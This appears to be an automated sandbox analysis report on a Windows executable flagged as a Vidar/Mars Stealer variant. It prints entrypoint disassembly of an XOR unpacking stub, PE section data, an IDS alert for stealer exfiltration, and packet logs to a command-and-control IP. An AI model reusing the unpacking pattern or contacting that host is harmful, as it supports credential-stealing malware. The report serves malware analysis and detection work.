Entrypoint Preview

Instruction
mov eax, dword ptr fs:[00000030h]
mov eax, dword ptr [eax+0Ch]
mov eax, dword ptr [eax+14h]
mov edi, dword ptr [eax+10h]
call 00007F370CCB0EB5h
pop esi
lea edx, dword ptr [edi+00001000h]
lea ecx, dword ptr [edx+00012E00h]
lea ebx, dword ptr [esi+000002E8h]
lea ebp, dword ptr [ebx+20h]
movzx eax, byte ptr [ebx]
xor byte ptr [edx], al
lea ebx, dword ptr [ebx+01h]
lea edx, dword ptr [edx+01h]
cmp ebx, ebp
jne 00007F370CCB0EB8h
lea ebx, dword ptr [esi+000002E8h]
cmp edx, ecx
jne 00007F370CCB0E99h
lea eax, dword ptr [edi+00006CC0h]
jmp eax
ret
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[ASM] VS2010 build 30319
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x19424	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2c000	0x1ec0	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x14000	0x8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x13000	0x12e00	a0475b6b1c07e30adefb1621d1a94008	False	0.6599751655629139	data	7.327610373423534	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x14000	0x6000	0x5600	383aa58a85b3a6a02c0343940c023e9d	False	0.7618550145348837	data	6.203596204826976	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x1a000	0x12000	0x200	6f2c9d0a73f06bd2aef306e9fb76eb33	False	0.091796875	data	0.6582824138522845	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x2c000	0x1fd6	0x2000	203980ce75c5f5b9903756171aed7158	False	0.7996826171875	data	6.754841567516282	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
LLCPPC	0x2e000	0x3a0	0x400	29f66a749623d37018eabe8a6fc730cb	False	0.3447265625	data	3.1153761530259376	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
msvcrt.dll	memset

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Severity	Source Port	Dest Port	Source IP	Dest IP
2024-08-24T12:22:00.491753+0200	TCP	2033163	ET MALWARE Win32/Vidar Variant/Mars Stealer CnC Exfil	1	49730	80	192.168.2.4	104.194.151.11

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 24, 2024 12:21:54.473290920 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:54.478255987 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:54.478343964 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:54.478471041 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:54.483233929 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:55.610944033 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:55.611072063 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:55.617535114 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:55.622446060 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:55.922086000 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:55.922103882 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:55.922115088 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:55.922173977 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:55.922183990 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:55.922187090 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:55.922194004 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:55.922205925 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:55.922218084 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:55.922230005 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:55.922250986 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:55.922267914 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:55.922919989 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:55.922971964 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:55.922975063 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:55.923022032 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:55.927104950 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:55.927115917 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:55.927170992 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.056005001 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.056030035 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.056041002 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.056065083 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.056113005 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.056143045 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.060858965 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.060869932 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.060884953 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.060900927 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.060909986 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.060941935 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.060955048 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.065685034 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.065700054 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.065710068 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.065757036 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.065758944 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.065771103 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.065793991 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.065819979 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.070449114 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.070466042 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.070481062 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.070492029 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.070524931 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.070565939 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.075299025 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.075311899 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.075320959 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.075331926 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.075342894 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.075368881 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.075387001 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.080073118 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.080085039 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.080127001 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.146513939 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.146595001 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.173671961 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.173692942 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.173711061 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.173728943 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.173732996 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.173741102 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.173749924 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.173778057 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.173810959 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.173836946 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.173846960 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.173851967 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.173877001 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.173897028 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.174213886 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.174253941 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.174271107 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.174288988 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.174300909 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.174312115 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.174314976 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.174324036 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.174341917 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.174360037 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.174959898 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.174978018 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.174989939 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.175012112 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.175024986 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.175034046 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.175084114 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.175096035 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.175107002 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.175126076 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.175153017 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.175944090 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.175992966 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.176023960 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.176040888 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.176050901 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.176063061 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.176064968 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.176074028 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.176093102 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.176114082 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.177012920 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.177022934 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.177033901 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.177047014 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.177052975 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.177058935 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.177069902 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.177073956 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.177095890 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.177118063 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.177877903 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.177889109 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.177898884 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.177922964 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.177937984 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.177949905 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.177951097 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.177961111 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.177978992 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.177997112 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.178873062 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.178883076 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.178893089 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.178908110 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.178916931 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.178919077 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.178932905 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.178932905 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.178962946 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.178989887 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.179925919 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.179939032 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.179949999 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.179961920 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.179966927 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.179974079 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.179987907 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.180017948 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.267693996 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.267791033 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.282123089 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.282134056 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.282143116 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.282169104 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.282171011 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.282181025 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.282188892 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.282191992 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.282205105 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.282215118 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.282215118 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.282233953 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.282262087 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.282315969 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.282355070 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.282375097 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.282385111 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.282411098 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.282421112 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.282569885 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.282581091 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.282594919 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.282605886 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.282627106 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.282629967 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.282640934 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.282644033 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.282650948 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.282661915 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.282672882 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.282679081 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.282701969 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.282711029 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.283265114 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.283276081 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.283286095 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.283310890 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.283329964 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.283335924 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.283339977 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.283354044 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.283365011 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.283373117 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.283376932 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.283382893 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.283387899 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.283397913 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.283401966 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.283427954 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.283435106 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.284115076 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.284125090 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.284135103 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.284157038 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.284163952 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.284174919 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.284185886 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.284187078 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.284198046 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.284214020 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.284224033 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.284234047 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.284234047 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.284244061 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.284254074 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.284265995 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.284288883 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.284307003 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.284941912 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.284953117 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.284962893 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.284991026 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.285003901 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.285015106 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.285023928 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.285034895 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.285037994 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.285060883 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.285079002 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.285083055 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.285089970 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.285104990 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.285116911 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.285116911 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.285136938 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.285145044 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.285151958 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.285829067 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.285861969 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.285870075 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.285872936 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.285907984 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.285917997 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.285933971 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.285944939 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.285954952 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.285965919 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.285979033 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.286003113 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.286020041 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.286053896 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.286065102 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.286075115 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.286087990 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.286092043 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.286103964 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.286114931 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.288273096 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.288283110 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.288294077 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.288312912 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.288321972 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.288340092 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.288340092 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.288352013 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.288362026 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.288373947 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.288378000 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.288398981 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:56.288402081 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:56.288412094 CEST	80	49730	104.194.151.11	192.168.2.4
